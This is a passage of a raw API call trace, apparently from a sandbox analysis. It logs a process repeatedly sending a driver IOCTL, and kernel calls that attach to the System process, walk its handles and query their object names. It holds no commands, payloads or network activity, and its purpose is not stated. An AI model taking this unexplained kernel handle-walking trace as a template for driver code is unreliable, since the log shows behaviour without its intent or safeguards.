Object=0xfffffa80038ee410, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.130] ObfDereferenceObject (Object=0xfffffa80038ee410) returned 0x2 [0103.130] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.130] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.130] PsAcquireProcessExitSynchronization () returned 0x0 [0103.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.130] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80038c5920, HandleInformation=0x0) returned 0x0 [0103.130] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.130] PsReleaseProcessExitSynchronization () returned 0x2 [0103.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.130] ObQueryNameString (in: Object=0xfffffa80038c5920, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.130] ObfDereferenceObject (Object=0xfffffa80038c5920) returned 0x2 [0103.130] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.130] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.130] PsAcquireProcessExitSynchronization () returned 0x0 [0103.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.130] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003536ae0, HandleInformation=0x0) returned 0x0 [0103.130] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.130] PsReleaseProcessExitSynchronization () returned 0x2 [0103.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.130] ObQueryNameString (in: Object=0xfffffa8003536ae0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.130] ObfDereferenceObject (Object=0xfffffa8003536ae0) returned 0x2 [0103.130] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.130] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.131] PsAcquireProcessExitSynchronization () returned 0x0 [0103.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.131] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003579440, HandleInformation=0x0) returned 0x0 [0103.131] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.131] PsReleaseProcessExitSynchronization () returned 0x2 [0103.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.131] ObQueryNameString (in: Object=0xfffffa8003579440, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.131] ObfDereferenceObject (Object=0xfffffa8003579440) returned 0x2 [0103.131] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.131] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.131] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.131] PsAcquireProcessExitSynchronization () returned 0x0 [0103.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.131] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800349e950, HandleInformation=0x0) returned 0x0 [0103.131] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.131] PsReleaseProcessExitSynchronization () returned 0x2 [0103.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.131] ObQueryNameString (in: Object=0xfffffa800349e950, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.131] ObfDereferenceObject (Object=0xfffffa800349e950) returned 0x2 [0103.131] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.131] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.131] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.131] PsAcquireProcessExitSynchronization () returned 0x0 [0103.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.131] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003313ae0, HandleInformation=0x0) returned 0x0 [0103.131] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.132] PsReleaseProcessExitSynchronization () returned 0x2 [0103.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.132] ObQueryNameString (in: Object=0xfffffa8003313ae0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.132] ObfDereferenceObject (Object=0xfffffa8003313ae0) returned 0x2 [0103.132] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.132] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.132] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.132] PsAcquireProcessExitSynchronization () returned 0x0 [0103.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80038ed520, HandleInformation=0x0) returned 0x0 [0103.133] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.133] PsReleaseProcessExitSynchronization () returned 0x2 [0103.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.133] ObQueryNameString (in: Object=0xfffffa80038ed520, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.133] ObfDereferenceObject (Object=0xfffffa80038ed520) returned 0x2 [0103.133] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.133] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.133] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.133] PsAcquireProcessExitSynchronization () returned 0x0 [0103.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003967f20, HandleInformation=0x0) returned 0x0 [0103.133] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.133] PsReleaseProcessExitSynchronization () returned 0x2 [0103.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.133] ObQueryNameString (in: Object=0xfffffa8003967f20, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.133] ObfDereferenceObject (Object=0xfffffa8003967f20) returned 0x2 [0103.133] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.133] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.133] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.133] PsAcquireProcessExitSynchronization () returned 0x0 [0103.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025df990, HandleInformation=0x0) returned 0x0 [0103.133] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.133] PsReleaseProcessExitSynchronization () returned 0x2 [0103.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.134] ObQueryNameString (in: Object=0xfffffa80025df990, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.134] ObfDereferenceObject (Object=0xfffffa80025df990) returned 0x2 [0103.134] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.134] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.134] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.134] PsAcquireProcessExitSynchronization () returned 0x0 [0103.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003286c70, HandleInformation=0x0) returned 0x0 [0103.134] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.134] PsReleaseProcessExitSynchronization () returned 0x2 [0103.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.134] ObQueryNameString (in: Object=0xfffffa8003286c70, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.134] ObfDereferenceObject (Object=0xfffffa8003286c70) returned 0x2 [0103.134] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.134] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.134] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.134] PsAcquireProcessExitSynchronization () returned 0x0 [0103.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800263abb0, HandleInformation=0x0) returned 0x0 [0103.134] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.134] PsReleaseProcessExitSynchronization () returned 0x2 [0103.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.134] ObQueryNameString (in: Object=0xfffffa800263abb0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.134] ObfDereferenceObject (Object=0xfffffa800263abb0) returned 0x2 [0103.134] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.134] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.134] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.135] PsAcquireProcessExitSynchronization () returned 0x0 [0103.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.135] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022d0c90, HandleInformation=0x0) returned 0x0 [0103.135] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.135] PsReleaseProcessExitSynchronization () returned 0x2 [0103.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.135] ObQueryNameString (in: Object=0xfffffa80022d0c90, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.135] ObfDereferenceObject (Object=0xfffffa80022d0c90) returned 0x2 [0103.135] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.135] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.135] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.135] PsAcquireProcessExitSynchronization () returned 0x0 [0103.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.135] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b8ec00, HandleInformation=0x0) returned 0x0 [0103.135] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.135] PsReleaseProcessExitSynchronization () returned 0x2 [0103.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.135] ObQueryNameString (in: Object=0xfffffa8003b8ec00, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.135] ObfDereferenceObject (Object=0xfffffa8003b8ec00) returned 0x2 [0103.135] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.135] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.135] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.136] PsAcquireProcessExitSynchronization () returned 0x0 [0103.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034a8a20, HandleInformation=0x0) returned 0x0 [0103.136] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.136] PsReleaseProcessExitSynchronization () returned 0x2 [0103.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.136] ObQueryNameString (in: Object=0xfffffa80034a8a20, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.136] ObfDereferenceObject (Object=0xfffffa80034a8a20) returned 0x2 [0103.136] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.136] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.136] PsAcquireProcessExitSynchronization () returned 0x0 [0103.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80038f8a00, HandleInformation=0x0) returned 0x0 [0103.136] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.136] PsReleaseProcessExitSynchronization () returned 0x2 [0103.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.136] ObQueryNameString (in: Object=0xfffffa80038f8a00, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.136] ObfDereferenceObject (Object=0xfffffa80038f8a00) returned 0x2 [0103.136] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.136] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.136] PsAcquireProcessExitSynchronization () returned 0x0 [0103.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0103.136] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.136] PsReleaseProcessExitSynchronization () returned 0x2 [0103.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.136] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.137] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0103.137] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.137] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.137] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.137] DeviceIoControl 